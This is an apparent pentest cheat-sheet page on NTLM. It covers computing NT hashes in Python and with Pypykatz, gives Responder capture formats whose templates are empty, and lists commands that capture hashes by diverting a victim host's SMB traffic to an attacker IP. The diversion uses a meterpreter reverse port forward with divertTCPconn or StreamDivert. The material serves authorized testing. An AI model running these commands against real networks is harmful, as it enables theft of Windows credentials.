> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/ad/ntlm.md).
# NTLM
*
## Calculate NTLM
*
With Python:
```python
>>> import hashlib
>>> hashlib.new('md4', 'Passw0rd!'.encode('utf-16le')).hexdigest()
```
With [Pypykatz](https://github.com/skelsec/pypykatz):
```
$ pypykatz crypto nt 'Passw0rd!'
```
## Responder Capture Structure
*
*
*
* Andrei Miroshnikov. Windows Security Monitoring: Scenarios and Patterns, Part III, pp. 330-333.
`[SMB] NTLMv1 Hash` and `[SMB] NTLMv1-SSP Hash` capture structure:
```
::::
```
`[SMB] NTLMv2-SSP Hash` capture structure:
```
::::
```
## Capture NTLM on Windows
*
*
*
### DivertTCPconn
*
Divert incoming SMB traffic on Victim to Victim's local port 8445, sent it through a reverse-forwarded port (meterpreter session must be elevated) to Attacker's local 445 port and capture the hashes with Responder:
```
$ sudo ./Responder.py -I eth0 -Av
meterpreter > portfwd add -R -L 127.0.0.1 -l 445 -p 8445
meterpreter > execute -f divertTCPconn.exe -a "445 8445"
```
### StreamDivert
*
Divert all inbound TCP connections to port 445 (SMB) coming from 192.168.1.11 to 10.10.13.37 port 445:
```
Cmd > powershell -c "Add-Content conf.txt 'tcp < 445 192.168.1.11 -> 10.10.13.37 445'"
Cmd > .\StreamDivert.exe .\conf.txt -f -v
```